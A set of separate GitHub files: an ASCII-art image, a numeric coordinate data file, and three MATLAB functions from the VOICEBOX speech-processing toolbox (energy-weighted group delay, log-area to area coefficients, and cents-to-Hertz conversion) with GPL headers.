;i;ijjjjjjjj;jtt;i;;,,::,.;;;jjiit;;;,,:..,.,.:;,...:;tiit;;;;;itjfGGLffjti..;;..... .. :. ...: . : .. .. : .. .........: .. : ..... :: :: :: : : : :...: ... :: :: : : : . ::.:,:i::::::;t;;;,,;;::,,:;itjitit;;;;,:,:,,:,; :..:,;ti;;t;;;;;,;;;,;....;.:..... :: : .. :: :: :.. :: ... : : .. :.. ..... .... : .......... :: : : ..........: .. : .. :..::i;,:;::::.:;;;;,;:::..:.,;;ttt;;;;,;;;:,,,,,, : ...:;t;jiit;;;;;;;,;...:.:..: .: .. :.. ..: :........... . : .. ....... : :: :: :: :: :.......... : :: :: :... .. : :: :: :itfGDGffjii;::.:. ::;;.;:,:.,::,;;tittt;;;;;;,,,:;.. : ...;;ti;t;;;,,:.::.:: .:.:.... ...: :: : ..: .. .... ..... :: :: :... : : : : .: ...... :: :: ....... .. .. : :...:ifLDDDWDWWEWKWKWEDf;. : .;:::.,.,;,;;;;t;;;;;;;;;;. . : ..:.:.;;tit;;;:,:..... :.... : : :: : : . : : : :..... :.. : .. . : ...: :.. .. :.. .. : :... ..... ....... .. .. .. ;tfGGDEEEKWK#W#KWWKKEGf:.. :,.:...:::;;;:.. ...: ...... .:. ..:;;itt;;:;.::.::. :...: . .. .. . ........ . :: ..: .. : : :: .. : .... :: . : ..... .. ... . ..... : .. .. : : iffDDDDDWKKWWKEWWEW#KKKKi...:::,.::;,,:. .. ... .. ..: ...:.:::;;;;jit;;:;.: ...... ..: ..: ... :.. : : :: .... : : .. .....: : : : . . ..: . : . .........: :.. ..... :: ..: :jffLDEDEEKKKK##WWKKEEKKEDL: ..:,:::.::; :: :.. :.. ... . :.:.:,,;;;itj;;;.:.....:: .. :... ... .. : : : : . ..... : ....: : : :: .. .. . .... ...: . : ... .... . . ....ijLfLGDDDDKKWWWWKWKKKWEKWEEEKD: ..,.:.::. :.. :.:.. .. : :.::.;.;;iititt;;;;:::... :......... : : ..... : : .. : .... :.. : .... : . .. ... ... : .... : : .. .....: : itjfGDDDEEEKKKWEW#KWWKKWEWEEKDDGi :.::,: .. .... . . : : : .::.::;;tttjttiti;:;..... :.. . : . .. : : : ...... : : :: : :.... ...... ..: : .. : : . :: : . : : ..fLfDDDDEEDKDEEKKKWWWKWWWEWEEEEEEDj..::.;: :: . : . : .. :.:.:.;;;titjtit;;:;:...:.... :....: .... ...: : : . : ... : .. ... ... .... . ....... . ....: :: . : : . : : tGfDDEWEWEWWW##WW###W###K#KKEEEEDEf:.,: : .. ... .. : ....:.,:,:;;tit;t;,,,.,...... .: .... . : . .: . . . . : ...: . : ... ... . . . .. :: :: : . . : .... .........: :ifffDDEEWEK#KEW#WK#WWWW#W#WWEKEEEEKf.:. : . : : . .. .. . :,:;;;jttt;;;;,::....:. : : : .. : . ... ... . : ... .. . .. : .. . ..... .. . ........ : .. :. : . ....: ........:ffffGLDDDKKKWK#E##W##W#W####WKWDEEEEf ..: ... :.. .. : ... : ..::.;;;j;;i;;:;::.::.... . ........ : . ... ........ : .... . .. :... . . .. .. :: : .... ... . .. : :: .:iiffffGDGDDEDKKKK#KK#WWK#KK#KKEW##WKDWDEi.... .... ... ..... : ...:,;;tti;i;;,;.:.,::.:,:. :. : .......: .. :... : ....: : : :: .. : : . .... : ....: ... .: :.. : .::tifDGLfGDDDGDDWEWKWKWWWWWWK#WK#WEKK##KDEWEi : :.. .. :...: .: ...,;;;;iti;;;;,.;:..:.:::::.. : ::..: : : : ..... : : .........:. :...... ::..:. ..: :... ....... ........... iiiitfEDDDfGDGGDDEEWWWWWWKKWWWK#KKEWEEED#WEDDG: .... :: : ....... : . ,;;;;j;t;t;;,;..:::..:.;....: : ... : .. :: ....::..: : .....: : ....:. : . .. ... :: :: : ......:: :...: :ititifLDGDfLGDfGLDWEWWKKK#EWK#KKKK#KKKKEKDWKEDDf............. : : . :;;;;tt;tt;;;:,..;..::.;.;;.:: .:::..::. :..:.:.....:..:. :.....::..:::...::.:: .. ::.:: ::... :. :....:...:tDLifjtfDEDGGDDffffDKWEEWEWWEWWEWWEKKWKKEWEKEDEEDG:.: .:::....:::.:.: . .;t;ttt;ttt;;:;..,.:.,.:;;;;;.:. ::..::.:.:::::.::::::::::..:::.::.::::::.:.::.::. : .: : .:::.:.:: :: :: :iDDfifffGDEDLLDLLffLDKEKKEWEEWEKEKKKWKKWEKWEWWEKDDLL..:: :..::::.:: .: . ;t;itt;tt;t;;,;,,.,,,:,;,;,;;;:: ::::: ::..:::..:::.::.::.:.::::.:.:.:::::::::: .: :::.::: .:.: ::..:.:;iGDLtfffLDGDfLGLGLffGDKEKEWEEEDEKKKKKKEEWWKK#KKKKEDDLfff;::.::.:.:.::: : .;;ti;ijit;;;,;:.,..,:;;;;;,;;:;::.. :.:::.::.::::::.:::::::::::.:.:::.::::.::.::: .:.:..::::.::::::.:.::tfGGfftDffLDfDGfffLLfDKEEDEEDKEKKKKKKEWEKWKKEWEWWEWKEKDDLDi::::::.::::: . . .;;;;i;j;;t;;;;..:.::;;;;;;;i;;:.. :.. .:::::::;::::;;:::::;:;:;:::;:;::;;::;: :.:::::.:.::::.:.:::iitDfGfGfLffGLDDfLGGffDEDKEDEEWKKWEWWEDWEKKKKKKKKKKKKWEEEDDLi::;::::::::. .....:;;t;;titit;,,,;.;,;,;;;;;t;;;::.:..::.::. ::;::;::;i;,:ii;i;i:i:::;;:::;:::;,,; :::.:::::::.:::.:::iitfDfGDfDDfffDGDLDLLLGKDKEKEEKKKKKKKKKEEKKKK#KWKKEEKKEWEDEDLLi;:;:;:;::: . . .,;;;;j;tt;;;;;;:;::;;;;;;;;;.:;::.:::;;;:::..;,:ii,i,;iiii,iiiii:i:i::i:;i:ii;iii ;iii;;:;;:;::;:iiiijffKffGfLWGfLDGDLLDGDDEEEEDWEKKKKKKK#EKKKWE##WKKKKKKKEKDEDEWEEDDii;i:: : : .: :,;;;;j;t;;t;;:;;;;:;:;,;;;;;;;;:;,:;;;;::::.:.::ii:i,;,;;i:,i::i:i;,;:i:::;,,;ii, ,;,;,,ii;,;,,:iiittttGDtGDfD#LLGLDfDLDGDEEDEDWEWEKKKKKKEEKDKKKKEWW#KKWKEWDKKKWEWWEEEGt: :...:. ;;;;;;jtt;;;:;;;;,;;;;,;;;;;j;:,,:;,;;;;,::.:: :::;:;;;::,;;:i;,;:::,:::;::,:i::; iiii;;;;:i,;;iG,itiffWLfDLDWEDfLGDDLDDDEKKEEEEEKKKKKKKKKEWEKKKKWKKKKKWWEEKKK#EWEEKDEEDG . ...:.:. :,;;;;t;;;;;,;;;;;;;;,;;;;itj;;;:;;;;;;;::....: ::,;::,;:;::;::::::;:::::;::::;i: ;,,;;,;ii:i:LEttijffDWffDDDWWDGLGDfDGDEEDEEEKEEWEKEWEKKKWEWWEWEE#WWEWEEWEKE#EWEKDEEDEDEi. ...::;:..;;;;t;;;;;;,;;;;;;;;;;;;;tij;;:;;,;i;;;;.:.:. .: ::::;:::::::::;::::::::::::;:::: :::::::::::jGiittffDKWtLDEWKKDLDLLDLGDDEEDDKKEKEWWEWEKKKWEWWEWKWW#KWKKEKK#KKEWEWDEEDWDKEDj::..: : ;,;t;;;;;;;;;;;;;i;;;;;;;;;j;;,:;;;;;i;;,:..:.: : :::::::::::::::::::::::::::::::: ::::::::::tKjijtffjE#EffDKKKDDGfGLGLDDEKDEDEKKWEWEWEWWEKKKKW#E##KWEWKKEWWEWEKEEEKKEKDEDEED.:::.:.:;;;;:.;;t;;;;;;it;;;;;;i;it;;:;;,;;;;;,;:.:.. . . :::::::::::::::::::.:::::::::.:. ::::::::::D#iftffffWWDfGDKKKEDLDLLLLLDDDEEEWEKKEWWEWEKKKKKKKKW#WWKKKKKEWKEWEKKKKEEEKDEEDED::....:,;;;,:;;t;;t;;i;;;i;;;;;;;;j;;,;,;;;i;;;;;.::... : :::::::::::.:::.:.::::...::.:... :::.:::::EKfffjfffGWWLjDDEWDEDGfLLGGGDDDEEKKEWWEWWEWEKKEEWEWW#KWWKKKWEWWKWEKKKEKEEDEDKEKDED;..;::.;,,;;;t;;;;;;;;;;;;;;;;;;;;;;;;:;;;i;;,;:.::.. . .:.::::::::::::::::.::.:..::::::. ..:.:.:.jWGfffffjfD#DDfDEKKEEDLDLLGLDDEDEKDEKKWKEEWEWWEWKKKKK#W#EWKWEWWK#WKKEKEEEEEEKDEDEDDt ::.;;,;:;;;;;;;;;;;;;;i;;;;;;;;,;,;:;;;i;;;;,.:.. :.:. :::.:::.:...:..:::.::.::::::..:. :::.:::.DKfGfffffLEWDDfDEKKEEGfDLDLGDDEEKDKKDWWEWWWWKKWEE#W#WK#WWWWKK##EWWEKKKEKEEEDEKEKDEED:..;:;;,;;;;;;;;;;;;;;;;;;;;;;;,;;;;;;;;;;;;,;:.:.: ....:::: ::::::::::::::::::::::::.: :::.::::WfDLLffDfGKEDDfDEEWEDGDDDGGLDEDEEKKKEKKEWWEWWEWEEW#E#WEWWWKWWWKKKEKKKEDKKEWDEKDDEEEDG,::,:;,;;;;;:;;,;;;;,;:;;;,;:;,;;;;;i;;;i;;;,:.::. .....::.:..::::.::::::::;::;:;:;:::: : :::: iELDDfffGfDWDGEfDDEDKEDLDDfDDDEDKEDEDKKKKWE#KWWWW#KK#WE#WW#KK#E#EWWEWKKKKKDEEKDEEDKDED::;:i;;;;,;:;::;;;,;;,;;;:;;;;;;;;;;;;;i;;,:,.:...... .::.:::..:..:::::::;;:;,;i:i,;i;: :::.:::fGDDDGffLjD#GDEfDDDKEDGDDLDGLEEEDKEDKKKKKKKKKKWEWWK#E#KK#WKW#KWKWEKKKKKKEKKKKEKDDEDDDD.:;GG;;:;;::;::;:;;:;;;;;;,;;;;;i;;i;;j;;;;;::.:: .. ..:.:.:.::::::.:::;;iiii;i;i;;i;i; .:::...DGDEWLtGffD#LDDfGEEDEDLDDDfDDDEDKDEEKKEEWKKWE#WKKKWEWKK#K#W#K#W#K#WKKEWEWKEDDKDKEEDEDE::jWG;;;;:;,:;;,;;:;;:,;,;;;i;ii;;;;;i;i;;:.:... : : ...:..::..::::::;:iiiiiiiiiiiii;i :.::..fWDKKKLfDtLKWLKDfDDDDDGLDDDGDDEWEDEKEWEKKKKE#EWWKWKWWKKKW#KEWK#KWW##KKKKKDKDEEEEEDEDDDD::;;it;;:;:;;::;;;;;:;,;;;;;;;;tji;;;iti;;:...: ...... ....: ::......::;;iiitijiiiii;i; .:::.:GWEKKKDfDiDEWGKKfGDEDDEGDDDGDEKDEKKDKEEWWKKKKWEK#KWWKWWWWW#KWWWKWKKKKKEWEKKEWKKEKEKDDED;:::;;;;:;:::;;;,;:;;;;;;;;;i;;;jji;iti;;:;;::.:.. . ...:...: :.:.:::::iiiiiiii;iiii;i :...:iKDEW#ELDDiDWEDEKfDDGDEEDDDDDDEEEKEDKKEWEWKWWKKW#EWWWKKWE##KWEWWWWW#WWKKKKKKEDEEDEKDEEDDi.:;;;;:;:;;:;;,;:;;;;;i;;;;;;;tLjj;;;t;;;::.. . : ...:: ::....: :.:.;:i;iiii;ii;;iii; .....fWLW#WEDDDjDKDKKKfDEDEWDDDEEEKDEEKEDWKKK##EWWKKWW#WWKKKWW#WK#WKWW#KWWWWWEKKKKEKDEDKDEKDE;:;::;:::;:;:;;;:;;;;;;;;;;;,;;jLj;;i;i;;;,.:...: : :.::..: : ....:.::::;iiiii;i;ii;i,; :..: GWLWWW#DDLfDDLKKKLGDEDEDEDDEDEKKDEWDEWEWKK#K#KWWWK#KKKKWWWEWWK#WKKK#KKEEKKKKDEEKDKEDEEDEi;:;;:;:;:;:;;;;;;;;i;i;;;;;;;;jGji;ti;;;,,:...:. .. .. : :.::......:::;iii;iii;i;i,i; :..:DEDW#WELEffDDDWKKfDEEDKDGEDDWDKDKEEWEEWE#KKWWK#W#WWWEK#W#WK#KKK#KWEWWEWWKKKKKKEKEDEKDDDEj::;:;:;:;:;;;tLGGGLL;;;;;;:;,;LLLti;t;;;;:.:.. : :...::..: : t,....:::;:i;ii;i;,;i;i;, :...EEK##WEDDfLDEEW#DfDEEKDGDDDDKDEDKEDKWWWWKKKKE#WEW#EEKEWWW#K#W#KKWKKKKWEWKKKKKEKEEEEEDDEDj;:;:::;,tLEEEEEEKEKEDj;;;:;;;;ELj;i;t;;,:.:... : . .:::....,D,: ...:::;ii,ii;,;,ii;i,: : ..iWDE#K##EDffGDKKWELDDDEDDDEDKDEKKEEKKEEWWK#WW#KW#WW#WEKW#K#WWWWK#W#WEKKWKK#KKKEEEDEEEDEDEi:;::,;fGEEEEEEEEEEEEEDG;;;;;;;GGjtti;;;;;:.:: : : .... : .,jD..::...:::,;ii:iiii;:iii; : iEDEWW#WEEDjfDEE#EDfDDEDGDDEDDKEDKEWWEWWEWKKEWK#WWW#WEKW#K#W#W##KK#EWWWWK#WEWWEKEDEDDEWEEGj;::;jLEEEEEEEEDDEEKWEEEf,;,;;;GLjt;;i;;,:.:. . . :.::..,iDL : : :::;ii;i;i:;,iii;;, ::iWWWEE#K#WDLfLEDKK#DGGDDGDEDEDKEEKKKKKWWKK#KWW##WWW#KWKK#W#W#W#KWW#EWKWWKWWE#KKEKDEEDEDEDEDi;,tLLDEEEEEEDEDEDEEKKEEDEf;;;iELjij;;,;;,:.::..: :: : . ;ijG, : :..:::i;,,;ii;i;,;ii; :W#KWEEW##WKLfGDKKEWDLDDDDEDDEEKDKDKKKWKWKWWWE#KK#W#WWWWWWW#KWWWWWWWWE#WWWWK#K#KKEEDEKEEEKDEffLGEEEEEEEDEDDDDDDEEWKKEEDDf;fDjtiti;;:;.:...:. . ...:iijDi. : . ::::;ii;i;i;i;,i,;i: :f##DWDWWWWKELfGDWWWEELDELDDEEWEDEKKWWWKWKKWKKWEWK#K##EKWW##K#EW#WEWWWWKK#KWKKWEKEKEEEEKEDEKDLDEEEEEEEKDDDDDDDDDDEEKEEEDDELLGLjt;;;:,::.:.. ..: ....,ijDf.... : :.::;iiiii,ii;;iii; iEW#DWEEW##KDDfDEKKWKDLDDGDEDWEDKEWE#WKKWEKKKEWW#W#W##WKW#W#KWK#E##W#WW#WWWWWW#WKEDWDKEDWEEDEDDEDEEEDEDEEDDDDDDDDDEKKKKEDEEKLjj;i;;;;::.:..... : ::.jijDj.: :.: :::::i:ii:i;;iiiiii: EWW#D#EEW#WWDDfDEKKWEDfDDDEDEWDEEKKKK#WKWKKKKKWWW#W#K#KWW#WWE#EWWW#E#W#WKWWWWKKKDEKEEKDDEEDWEDEEEEEEEDDEDDDDDDDDDDEEKKWKEDDWLjt;;;,;:,.:..... :.:.,tijLf. :.......::::;,:;,;,;;;,;;: K###DWKK#W#EELfDK#KKKGGDEDDEWKKKKEW##WWWWWEKEW#K#WW#WKK##K#E#WKW#WWW#KW#KK#WKKKEKKDEDEEEWDKKDDEEEDEDDDDDDDDDGDDDDDDEEEKKEEDEGLt;;;;;.::... ... .,,iijjDi : ....::::::::i:::;::::;:: EWW#D#WDWWW#DLLDKWEKKGGDDEDEKWEKKKWKWW#WWEEWEWWWWWWWWWE###WW#KKWWWW#E##K##WWWWEEDEEEDKDEEKKEEGEGEDDEDDDDDDDDDDGDGDDDEWKWKEEDLjt;;;;.,....::.....,t,ijfD,...: :.: .:.:::::::::::::::: WEW#E#WEW#WWDGLDKKKWDLLDGDEDKWEKK#WW#W##WKEKEWW#KWWWKWWWW#W#WEW#W##K#WW#KW#WWEEEDEEDEEEKKKEEDKEDDDDDDDDDDGDGDDDGDGDDDEEKWWEELft;;,;;:...:....: .i,ijGDD.... .......: .:..:.:::.:.::: E##WE#EWWWKWDDfD#W#WELDLGEEEKKKEK#W#WW#EWEWEWWWWW#WWKW#WW##WWWWWWWWWWWWW##KEEDKEKKKEEEEK#WWEEWWEDDDDDDGGGDGDDGDDGDDDDEKKEKEWDft;;,:.:.: .... . .i,jfDDf: ....::..: :.... ::...:::... KE##W#WEW##WDGfDWWWKDLDfDEEEKKEKKWKW#W#WKWEWEWKK##EW#W#K##WW#EK#W##W#WWWWK#WEKEWEKEDEEKWWEEDK##WEDDDDGDDDGDGDDGDGDDDDEEEKWKEEEf;;;::.::.: ... ..iijLDDi: :..: : : ::.:: :.:. : :. WE#KKWWD#KWEDGLEWWWEKfLDDDKKKKKK#W#WK#KWKKEWWKW#WK#WEW#WWW##WE##K###E##W#KKEEEEKWEWKEWKWWWEE###WKDGGGDGDGDGDDDDGGGDDDDEEKEKKEED;::;:.....:.. ..,iiLLDD;......::..:... ...: : ::: :: #KK##WWEWWEWDDLEW#KEEfDDEKKKKWE##W#WK#KWKK#KW#WWWE#W##W#W#WW#EWWW##WWWW#KEKEEDEKKWEEWW#WEEDE####WEDGGGGDDGDGDGGDGGDDDDEEEKEWKEEf;::.:. .: . . .iijLDDi.: : ....:..: :: :..: ..:: ::. ###KW#WEW##WDDfKEW#WDLLDKKDKEWWKWW#K#W#K#KKWKKKWW#K#KK###W#W#K#W#KK#W##W#EKDKKEEKKKKK#KWWEDKWWW##WEDDGDGGDGDGGGDGDGDDDDEEKKKKKKD,.;:..: .......tjfGDD,....:: :.....: ....: :.: : .. #WW#KWWDK#KWDDLD#W#EDfDDKWEWEKK#W#K##K#EWKWKK#KWWKW#KW#W#W###KKWWWW##W##WWEKDEEWKKKW#W#EKDEE###W#WKDGDGGGDGGDGGGDGDGDEEEEEKKEEKDf,,:.:.:. ... ,jjLDDf ::... :.:....:.:.:...:..::.... #K####WD#E#EDDLEW#WEDfGEWEWEW#K##K#WW#EWKKWEWWWK##W#WW#W#WW#W#K#K###W#WKKEKDKEWK#W##W#WEDEKEW#WKWW#KDDGGDGGGGDDGGDDDDDEEKKEKEKEEEi;.:.:.. ....ijLLDD,.. :....::....:..:....:...: ::. W#K#WW#EK#WEDDfK#E#WDfDDWWEKKW#KW#K#WW##KWWWKWE#KWWWKK##W##W#WW#W#WWW#KKWKEKKKKKWE##W#KEDEEEKW##WWW#DGDDGDGDGGGGDGGDDDEDKEKEWEEEDL,:.:. : . .,tjfDDD : : :: :: :: : : :....:: :. ######WE#WEKDELEWW#EDfLEWKKKWW#WWWW#W#KKKKE#WKWWKW#W###W#W##WWW#K####KWEKKKKKKW##W##KKKDEKKEKWWWW#WWEDDGGGGGGDGDGDGDDEEEEKEKKEKEEDt.:.:..... tjjfEDD : ... : :.............. ...: #WWW#E#D#WEDEDLWWWWKDffKKWKK#W#WWWW##K##EWEW#K#K##W#W#W#W#WK#WEK##W#EKWEKWEW#K#WK#WKWKEEEDDEWWKWWWWWWKDDGGGGGDGDGDDDDEEEEEEEEEEEEDD :.:..:.: jjtDDDf. :.... : : :.... : ..... ....: W###WW#EE#KEDDfEWWKKDfDDKKKWWK#WW#K##W#KKWWWWKKW#WWWKW#####W##W##W#KKKKKEEWWK#E##K##WWDDEDEDEWWEWWWWWKEDDGGGDGDGDGGDDEDEEKKKEEEEEED..:. . . .iijEDDj : .. ... . .. .: . .. . . #WW###WKWWEDEDLKW#KEDfDEWKWK#W#KW#WWW#EWKKWWWWWKKK#W#W#W#K###W##W#KKKKKKKKWWWWW##W#KWEEEDEDEKKWKWWWWW#KDGDGGGGGGDGDDDDEEEEEEEEEEDEDi. :..::..jjjDDG,. . .. : .. : . :. ..: : : .. W#K#W##EWWWEDDLKWKKEDfDEEEW#KWK#WW#WK#WKWEWWWWW#WK#WWW###W#K###W###EKKW#WWE#WWWWWWWWEWDDEDDEEWKKWK#KWWWEDGGGDGDGDGDDDEDKEKEEEEKEEDDf,:. . . .tijDDf.. .. .. .. : .. : . . . #WWWW##EK#KEEDfKWKWEGfDEKKW#KKWW#K#KWWWWWEWW#E#K##K#KW###W#K#####KWEKKW#WWK##KKWKW#KKKDDDDDDDKWKKKKWW#WWDDGGDGDGGDDDDEDEEEKEEEDEDEDDL, .:...,jjGDDt : .: : ...... : ... : ....: .. #W#W#W#WKKEDDDLKWW#EDfGKK#KW###WW#K#K#KKKWW#KWW#WW#K##K##K###W#W##EKKW#K#E#E#WWWWEKKWWEEDEEDEKKKKKWWKWWWEDDGGGGDDGDDDDEEEEEEKEEDEDDDDj.: ...tjDEDG,. .. . .: .: ....:.... : ... : .. WWW#W###EWKEDDLKKWKDDfGKKKW#WK#KWWWW#W#KWWWWEWK#WKW#KW##W###W####WWEWWW#WWE#K#WK#KWKWWEDEDEDEWKWKKKKWWWWWEDGDGGGDGDDDEEDEEEEEEDDDDEDDD.... .tDEDDD, ... :......... : : .: :: ..... WW###W##EWEEDDLKEWEKGfDEWW#W##WWW#KW#W#WE#WWWEW#WE#K###WK#WWK###WWEKWW#W#KWW#W#EEKKKW#WDDDDEDEKKKKKKKW#WWWWGGGGGDGDDDDEDEEEEEEDDDDDDDDj. ..;DEDDDL...:..:...:...::.........:..::..: ##W#KW##EKWDGDfKKKKEDfDKEWWWWW#WK#K#WWWKWKW#KKK#WW#W##W#######W##WW#K##K##KW#KW#WEK#KKEEDKEDEDEWKWKWWKWKW#WDDGGGDGDDDEEEEEEEEDDDDDDDDDL,.. tEEDDDf..: ::..:: ::.::.::::..:..:..:.::. WWK#W###DEEEGDLEKKKKDfDEWK#K##W##W#EW#KWWW#KKW#W##WWWW##W#W#W##W#KEWKWW#KWK##W#KEEWW##KDEDDDEEDKWKWKWWWWWWWEDGDGGDDDDDEDEEEEDEDDDDDDDDGL .,tEDKDGf.:.:. :...:. : :..:.::..: :. :... W#W#W###DEWEDGGEDKKEDLDKK#K#WW###W#WK#KWWW#EWW#W##W#K##WW#W#WW##WKKKKKWWWWWWK#KWKKK##KKEDEEDEEEDWKKKWKW#WWWWKDGGGDGDDDEDEEEEEDEDDDGDGDDDD.LDEEDDDj:..:::....::.:..: ::.:.... :...:.: #KW#WW##EEKDGDfDEKWEDLEK#K#K##W##K#KWWWWW#K#KWK###WW#W##W####W#KWE#EW##WWWW##WKKKK#WWKKDEDKKEEDEKWWWWKWKWWW#KEGGGGGDDEDEEEDEDDDDDDDDDGGGDjGDEDDDGj.:: ::.::: ::..::...: :.:::.....:
{ "pile_set_name": "Github" }
52 3 0 212 144 92 144 163 138 3 0 163 138 92 144 141 138 3 0 163 138 141 138 163 125 3 0 163 125 141 138 141 125 3 0 163 125 141 125 178 108 3 0 178 108 141 125 126 108 3 0 178 108 126 108 179 87 3 0 179 87 126 108 125 87 3 0 179 87 125 87 170 75 3 0 170 75 125 87 134 75 3 0 170 75 134 75 152 71 3 0 50 361 96 377 51 377 3 0 76 358 96 377 50 361 3 0 96 377 76 358 96 355 3 0 108 310 96 355 76 358 3 0 108 310 76 358 85 301 3 0 108 310 85 301 150 266 3 0 189 242 150 266 85 301 3 0 189 242 85 301 115 242 3 0 132 221 189 242 115 242 3 0 179 196 189 242 132 221 3 0 189 242 179 196 189 172 3 0 179 196 150 183 189 172 3 0 189 172 150 183 159 161 3 0 235 163 189 172 159 161 3 0 212 144 235 163 159 161 3 0 230 99 235 163 212 144 3 0 235 163 230 99 254 98 3 0 254 98 230 99 230 80 3 0 254 98 230 80 254 79 3 0 212 173 189 172 235 163 3 0 212 173 189 172 235 163 3 0 253 377 208 377 254 361 3 0 228 358 254 361 208 377 3 0 228 358 208 377 208 355 3 0 196 310 228 358 208 355 3 0 228 358 196 310 219 301 3 0 219 301 196 310 150 266 3 0 219 301 150 266 189 242 3 0 125 191 153 197 132 221 3 0 125 191 132 221 115 242 3 0 125 191 115 242 115 172 3 0 125 191 115 172 159 161 3 0 115 172 69 163 159 161 3 0 212 144 159 161 69 163 3 0 92 144 212 144 69 163 3 0 74 99 92 144 69 163 3 0 74 99 69 163 50 98 3 0 74 99 50 98 74 80 3 0 74 80 50 98 50 79 3 0 92 173 69 163 115 172 3 0 115 172 92 173 69 163
{ "pile_set_name": "Github" }
function [y,mm]=ewgrpdel(x,w,m) %EWGRPDEL calculates the energy weighted group delay waveform Y=(X,W,M) % For each sample, x(n), this routine calculates the energy-weighted average % group delay over frequency using a window centred on x(n). This is equal to % the delay from the window centre to the centre of gravity of energy in the window. % % Inputs: x is the input signal % w is the window (or just the length of a Hamming window) % m is the sample of w to use as the centre [default=(length(w)+1)/2] % % mm the actual value of m used. Output point y(i) is based on x(i+m-w:i+m-1). % % If w is odd and m has its default value, then an impulse at x(i) will % result in a negative-going zero crossing at y(i). More generally, if the % window is symmetrical it will result in a negative-going zero crossing at % y(i+m-(w+1)/2). % Example: x=zeros(1000,1); x(100:100:900)=1; ewgrpdel(x,99); % Copyright (C) Mike Brookes 2003 % Version: $Id: ewgrpdel.m 713 2011-10-16 14:45:43Z dmb $ % % VOICEBOX is a MATLAB toolbox for speech processing. % Home page: http://www.ee.ic.ac.uk/hp/staff/dmb/voicebox/voicebox.html % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % This program is free software; you can redistribute it and/or modify % it under the terms of the GNU General Public License as published by % the Free Software Foundation; either version 2 of the License, or % (at your option) any later version. % % This program is distributed in the hope that it will be useful, % but WITHOUT ANY WARRANTY; without even the implied warranty of % MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the % GNU General Public License for more details. % % You can obtain a copy of the GNU General Public License from % http://www.gnu.org/copyleft/gpl.html or by writing to % Free Software Foundation, Inc.,675 Mass Ave, Cambridge, MA 02139, USA. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% if nargin < 2 w=hamming(length(x)); elseif length(w)==1 w=hamming(w); end w=w.^2; lw=length(w); if nargin < 3 m=(1+lw)/2; end m=max(round(m),1); mm=m; wn=w(:).*(m-(1:lw))'; x2=[x(:); zeros(m-1,1)].^2; yn=filter(wn,1,x2); yd=filter(w,1,x2); yd(yd<eps)=1; y=yn(m:end)./yd(m:end); if nargout==0 plot(y); hold on; plot(x,'r'); hold off; end
{ "pile_set_name": "Github" }
function aa=lpcdl2aa(dl) %LPCDL2AA dct of log area to area coefficients AA=(DL) % we do not correct for sinc errors % Copyright (C) Mike Brookes 1997 % Version: $Id: lpcdl2aa.m 713 2011-10-16 14:45:43Z dmb $ % % VOICEBOX is a MATLAB toolbox for speech processing. % Home page: http://www.ee.ic.ac.uk/hp/staff/dmb/voicebox/voicebox.html % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % This program is free software; you can redistribute it and/or modify % it under the terms of the GNU General Public License as published by % the Free Software Foundation; either version 2 of the License, or % (at your option) any later version. % % This program is distributed in the hope that it will be useful, % but WITHOUT ANY WARRANTY; without even the implied warranty of % MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the % GNU General Public License for more details. % % You can obtain a copy of the GNU General Public License from % http://www.gnu.org/copyleft/gpl.html or by writing to % Free Software Foundation, Inc.,675 Mass Ave, Cambridge, MA 02139, USA. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% [nf,p]=size(dl); aa=[zeros(nf,1) exp(irdct(dl.').') ones(nf,1)];
{ "pile_set_name": "Github" }
function [frq,cr] = cent2frq(c) %FRQ2ERB Convert Hertz to Cents frequency scale [C,CR]=(FRQ) % frq = frq2mel(c) converts a vector of frequencies in cents % to the corresponding values in Hertz. % 100 cents corresponds to one semitone and 440Hz corresponds to 5700 % cents. % The optional cr output gives the gradient in Hz/cent. % % The relationship between cents and frq is given by: % % c = 1200 * log2(f/(440*(2^((3/12)-5))) % % Reference: % % [1] Ellis, A. % On the Musical Scales of Various Nations % Journal of the Society of Arts, 1885, 485-527 % Copyright (C) Mike Brookes 1998 % Version: $Id: cent2frq.m 3123 2013-06-19 19:03:53Z dmb $ % % VOICEBOX is a MATLAB toolbox for speech processing. % Home page: http://www.ee.ic.ac.uk/hp/staff/dmb/voicebox/voicebox.html % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % This program is free software; you can redistribute it and/or modify % it under the terms of the GNU General Public License as published by % the Free Software Foundation; either version 2 of the License, or % (at your option) any later version. % % This program is distributed in the hope that it will be useful, % but WITHOUT ANY WARRANTY; without even the implied warranty of % MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the % GNU General Public License for more details. % % You can obtain a copy of the GNU General Public License from % http://www.gnu.org/copyleft/gpl.html or by writing to % Free Software Foundation, Inc.,675 Mass Ave, Cambridge, MA 02139, USA. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% persistent p q if isempty(p) p=1200/log(2); q=5700-p*log(440); end % c = 1200*sign(frq).*log2(frq/(440*2^((3/12)-5))); af=(exp((abs(c)-q)/p)); frq=sign(c).*af; cr=af/p; if ~nargout plot(c,frq,'-x'); ylabel(['Frequency (' yticksi 'Hz)']); xlabel(['Frequency (' xticksi 'Cents)']); end
{ "pile_set_name": "Github" }
